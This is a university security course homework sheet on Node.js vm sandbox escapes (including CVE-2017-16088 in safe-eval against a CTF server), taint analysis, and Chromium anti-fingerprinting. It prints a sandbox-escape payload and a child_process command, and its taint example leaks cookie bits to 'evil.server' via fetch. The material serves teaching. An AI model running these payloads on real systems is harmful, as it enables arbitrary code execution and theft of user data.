14-828/18-636: Homework 3

Released: Thursday, March 19, 2020
Due: Thursday, April 16, 2020 by 1:29 PM Eastern Time

Name:

Andrew ID:

Scores

Problem 1 (30 pts max):

Problem 2 (30 pts max):

Problem 3 (10 pts BONUS max):

Total (60 pts + 10 BONUS max):

Guidelines

- Be neat and concise in your explanations.
- Start each problem on a new page. You will need to map the sections of your PDF to problems in Gradescope. If you do not attempt a problem, map a page to it with a note saying you didn't complete it.
- Please check your English. You won't be penalized for using incorrect grammar, but you will get penalized if we can't understand what you are writing.
- Proofs (including mathematical proofs) get full credit. Statements without proof or argumentation get no credit.
- There is an old saying from one of my math teachers in college: "In math, anything that is only partially right is totally wrong." While I am not as loathe to give partial credit, please check your derivations.
- **This is not a group assignment. Feel free to discuss the assignment in general terms with other people, but the answers must be your own.** Our academic integrity policy strictly follows the current INI Student Handbook `http://www.ini.cmu.edu/current_students/handbook/`, section IV-C.
- Write a report using your favorite editor **Only PDF submissions will be graded.**
- Submit to **Gradescope** a PDF file containing your explanations and your code files before the due date/time. Late submissions incur penalties as described on the syllabus (first you use up grace credits, then you lose points).
- Post any clarifications or questions regarding this homework in Piazza.
- Good luck!

1 Language-based Sandboxing (30 points)

We have learnt in class about language based sandboxing. Although the examples in class are mostly historical, there is still some language-based sandboxing done in Javascript, particularly in node.js. In this section, we will learn about language-based sandboxing that seems to be plausible on the server-side, and see how that can be exploited.

1. **Setup (3 points)** node.js provides a vm module which we will be using to analyze language based sandboxing. Read the documentation on `https://nodejs.org/api/vm.html` and set up a node REPL by installing node.js (if you haven't done so in Homework 1). Show that you can require the vm module.

2. **APIs (5 points)** Let's explore what APIs are available in the empty context. Use the following code in your experimentation.

```
const vm = require('vm');

const context = {};
vm.createContext(context); // Contextify the object.
const secret = "14828"

let code = '<your code here>';

vm.runInContext(code, context);
```

   The following are trivially accessible from outside the vm context. Experiment and show whether the following are accessible from code that runs in the vm context:

   (a) secret
   (b) Object
   (c) global
   (d) process
   (e) require
   (f) this
   (g) eval
   (h) Function

   Note that you should be experimenting from the node REPL.

3. **Almost Secure (5 points)** The node.js documentation warns that the vm module is not a security mechanism to run untrusted code. Explain how the vm module can be misconstrued to provide security against untrusted code, with respect to the below exploit code.

```
"require('child_process').exec('ls /');"
```

4. **One Neat Trick (2 points)** Of course, the node.js warning is true, and we will show you a way to escape the vm context below. Set the variable code to the below exploit code:

```
code = "this.constructor.constructor('return secret')()"
```

Run this in the REPL. You should now see the value of secret.

Show that all previously inaccessible variables can be accessed by injecting code in place of the '*return secret*' segment.

Note that you should be experimenting from the node REPL.

5. **Explaining That Neat Trick (5 points)** The following will guide you on understanding how we managed to escape the vm. To do this, we will be viewing the result of each step of the computation to get the full picture of what exactly we are doing. Use the below table to guide you in your discovery:

Code to Experiment	**REPL output**
this	
this.constructor	
this.constructor.constructor	
code = 'Function'; vm.runInContext(code, context) === Function;	
code = 'this.constructor.constructor'; vm.runInContext(code, context) === Function;	

Using the above table, explain step by step how we managed to escape the vm context.

HINT: you may wish to look up what the Function constructor does and how it works.

6. **Neat Trick to Exploitation - CVE-2017-16088 (10 points)** Although you might think that other libraries might improve upon the vm implementation, it turns out that this class of vulnerabilities is hard to protect against, as noted in the PR below:

`https://github.com/hacksparrow/safe-eval/issues/16`

Once you identify this vulnerability, from there, we need a handle to the function *require* to import whatever functionality you need in your exploit, and then use that to construct your final payload, which will perform the necessary actions on your objectives. To find a way to call *require* though, we need access the current module which we are loading, *mainModule*, which is a property of the process object (which we have access to after breaking out of the sandbox),

Here, we will write a fully working exploit for a known vulnerability in an older version of *safe-eval*, which still affects some web applications in the wild. Don't worry, the steps to get a breakout are very similar.

Exploit the arbitrary code execution vulnerability and read the flag from filesystem at */flag*! Solve the **unsafe-eval** problem on the 14828 CTF Server. Submit a write-up containing your CTF username following the guidelines from previous homeworks.

Note: The source code of the application can be found on Canvas, and includes a Dockerfile for you to reproduce the environment and debug. Again, you may wish to experiment like you did earlier and you might find that you won't have access to the *global* object. The steps after that, however, are thankfully similar.

Hint: Read up on the documentation for the child_process module, and you should be well on your way to arbitrary code execution!

2 Taint Analysis (30 points)

In lecture, we have looked at how Mystique does taint tracking to uncover information leakage. In this section, we will look at some of the technical aspects of how this might work.

Below is some source code which we will analyze how data flows from a sensitive source (cookie) to a sink.

```
function q3_h4x(woops) {
        await fetch(woops);
}

function q3(idx, test) {
        var c = document.cookie;
        var x = "1 + 1 = 3";
        var x_prime = c + x;
        var obj = {lol: x_prime}
        var hacker;

        if (obj.lol[idx] > test) {
                hacker = "http://evil.server/?true"
        } else {
                hacker = "http://evil.server/?false"
        }
        q4_h4x(hacker);

        var nop;
        if (c) {
                nop = "nop";
        } else {
                nop = "nop"
        }

        return nop + nop;
}
```

1. **Data flows (2 points)** Show one data flow in the above code snippet. Include the name the variables for which the data flows to and from.

2. **Data flows II (3 points)** Explain how taint propagation relates to data flow in the example that you have given - in particular, explain why we need to propagate taint every time there is a data flow from a tainted object to an untainted object.

3. **Implicit Flows (2 points)** Give an example of a implicit data flow where taint is propagated in the above example. Include the name the variables for which the data flows to and from.

4. **Implicit Flows II (3 points)** Explain why the flow you have given as an example is considered an implicit flow and not a total/direct flow of information.

5. **DFG (10 points)** Draw the Data Flow Graph for the above example. You should also label any implicit data flows.

6. **Implicit Data Flow Tainting Tradeoffs (5 points)** We learnt in class that Mystique propagates taint for implicit data flows.

   In reasoning about the analysis, we can evaluate our analysis based on the soundness of the analysis (a sound analysis is an analysis that only states true facts, i.e. if it says information flows from one variable to the next, it must be true, but the analysis might miss out on some true cases) and the completeness of the analysis (a complete analysis contains all true cases, but may have false positives as well).

   From this perspective, looking at the above source code from lines 10 - 17, suggest why the authors of Mystique chose to propagate taint.

7. **Alternative Strategy Tradeoffs (5 points)** Suppose we do not propagate taint for that particular implicit data flow from lines 19-26. Explain how this strategy might be preferred over the strategy implemented in the Mystique paper.

3 BONUS: Chromium Internals and Anti-Fingerprinting (10 points)

Note: this is a potentially time consuming and resource intensive bonus, and is provided for students who want to go the extra mile. You will need 100GB of disk space allocated for the virtual machine if you wish to tackle this bonus question.

Due to potential differences in environments, we HIGHLY RECOMMEND doing this question in a Ubuntu 18.04 LTS environment. If you don't have one already, you can follow the instructions here to set up a Ubuntu 18.04 LTS VM on VirtualBox:
`https://www.nakivo.com/blog/install-ubuntu-on-virtualbox-virtual-machine/`

1. **Compiling (1 points)**

   We will first learn how to compile Chromium from source. Follow the steps from the official Chromium documentation

   `https://chromium.googlesource.com/chromium/src/+/master/docs/linux/build_instructions.md`

   and show that Chromium compiled successfully,

   Note that from a fresh Ubuntu installation, you would need python2.7 and git, which can be installed as follows:

   ```
   sudo apt install -y python git
   ```

2. **User-Agent String (3 points)**

   You want to change a portion of your User-Agent string from "Chrome/82.X.X" to "Chrome/14.828.X". You can easily do that through Chrome extensions, but after doing the last homework, you have become increasing paranoid about installing random Chrome extensions.

   Here, we ask that you implement the change in User-Agent string by modifying the Chromium source code. Show us what you changed in the source code in your writeup and provide us a screenshot of your new User-Agent string by visiting the new website on your fancy new browser.

   `https://www.whatsmyua.info/`

   We know that it is also possible to change the User-Agent string through DevTools, but DO NOT submit that as your answer. You must change the User-Agent string from the Chromium source itself!

3. **Anti-Fingerprinting (6 points)**

   You have learnt how advertising networks are able to track you even without cookies. Here, we will look at a way of fingerprinting that relies on the drawing images on the Canvas and calculating a digest for the drawn pixels. The supposed guarantee is that if the user is the same (hardware + browser), the digest will be the same.

   You may have a taste of the fingerprinting in action here:

   `https://drbh.github.io/wasm-fingerprint/`

   The fingerprint might take some time to generate. If you don't see it after some time, you might have to refresh the page. Note that the fingerprint does not change, even in incognito mode. This means that you can be identified, even though the site doesn't store any cookies! The source code for the fingerprinting service can be found below, for those interested:

   `https://github.com/drbh/wasm-fingerprint`

Our goal is to modify the Chromium source code such that the above fingerprinting technique will not work. In particular, what we want is that every time we visit the above site, a random fingerprint is generated. Note that you don't have to maintain that the same canvas output is created, nor does it have to look perceptibly similar, as long as you justify how your method can be modified to make it look sufficiently similar to what the original Chromium would output.

Show what changes you made to the source code, and how it achieves the above guarantee. Also show that it works on the target website.